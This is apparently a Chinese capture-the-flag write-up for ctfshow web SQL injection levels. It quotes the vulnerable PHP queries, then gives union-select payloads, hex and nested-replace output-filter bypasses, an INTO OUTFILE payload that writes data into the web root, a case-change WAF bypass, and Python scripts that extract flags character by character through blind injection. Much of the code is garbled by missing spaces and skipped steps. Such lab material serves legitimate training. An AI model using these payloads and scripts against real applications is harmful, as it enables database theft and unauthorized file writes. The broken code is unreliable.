//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;"; //检查结果是否有flag if($row->username!=='flag'){ $ret['msg']='查询成功'; }
首先确认该表共有几个字段
1' order by 2 -- qwe
发现共有两个
通过information_schema库获取当前username表中有哪些字段
1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' and table_schema=database() -- qwe
要找的flag在passwd字段中
由于返回有检测username字段的值是否为flag,那么将username字段用数字1代替即可
最终payload为1' union select 1,password from ctfshow_user2 where username='flag' -- qwe
web173(回显16进制绕过)
题目给的部分源码如下
1 2 3 4 5 6
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;"; //检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
首先判断该表有几个字段
1' order by 4 -- qwe时无显示
说明有三个字段
测试发现三个数据位均有回显
由于对回显结果中的flag有检测
只需将用户名的返回字段额外处理一下,比如转为十六进制
最后payload为-1' union select id,hex(username),password from ctfshow_user3 where username='flag' -- qwe
web174(replace绕过)
题目给的部分源码如下
1 2 3 4 5 6
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;"; //检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
首先判断该表有几个字段
1' order by 3 -- qwe时无显示
说明有两个字段
测试发现两个数据位均有回显
由于源码对回显结果中的flag以及数字0到9均有检测
我们直接将username字段用字母替换即可绕过对值flag的检测
这里需要绕过过滤的主要是flag括号中的数字,可以使用replace绕过
最后payload为-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' -- qwe
最后payload为-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe
导出的flag在网站的/ctf.txt路径下
web176(大小写绕过)
题目给的部分源码如下
1 2 3 4 5 6
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; //对传入的参数进行了过滤 functionwaf($str){ //代码过于简单,不宜展示 }
题目提示对传入参数进行了过滤
先尝试最普通的联合注入-1' union select id,username,password from ctfshow_user where username ='flag' -- qwe
没有回显
尝试改变关键字的大小写,因为SQL语句对关键字大小写不敏感
-1' union Select id,username,password from ctfshow_user where username ='flag' -- qwe通过
import requests import time url="http://221413c4-c7b2-4e59-8ad0-bf9a144652c3.challenge.ctf.show/select-waf.php"
strlist = '{}0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_' flag = ''
whileTrue: for i in strlist: data = { 'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i) } respond = requests.post(url, data=data) respond = respond.text if'user_count = 1'in respond: print('--------------------正确',i) flag += i print('ctfshow{}'.format(flag)) break if flag[-1] == '}':exit() #判断 flag 是否获取完整
import requests import time url="http://5bbff075-99dc-4ee3-8ec4-493b37b510b5.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"#40 flag="" for i inrange(0,40): for x in flagstr: data={ "tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x)) } #print(data) response=requests.post(url,data=data) #有并发数量限制的,就睡一段时间 time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print("++++++++++++++++ {} is right".format(x)) flag+=x break else: continue print("ctfshow{"+flag) if(flag[-1]=="}"): break
defformatString(str): temp="concat(" for x instr: tip=0 if x in string.digits: tmp=int(x) else: tip=1 temp+="char(" tmp=ord(x) if tmp == 0: temp+="false" else: temp_d="(" for i inrange(0,tmp): temp_d+="true+" temp_d=temp_d[:-1]+")" if tip==1: temp_d+=")" temp+=temp_d temp+="," # 去掉最后一个逗号,将其改为反括号 temp=temp[:-1]+")" return temp
for i inrange(40): for char in uuid: data = { 'username' : passwd + f"{char}'),0,1)", 'password' : 0 } res = requests.post(url, data=data) if"\\u5bc6\\u7801\\u9519\\u8bef"in res.text: passwd += char flag += char print(flag) break if passwd[-1] == "}": break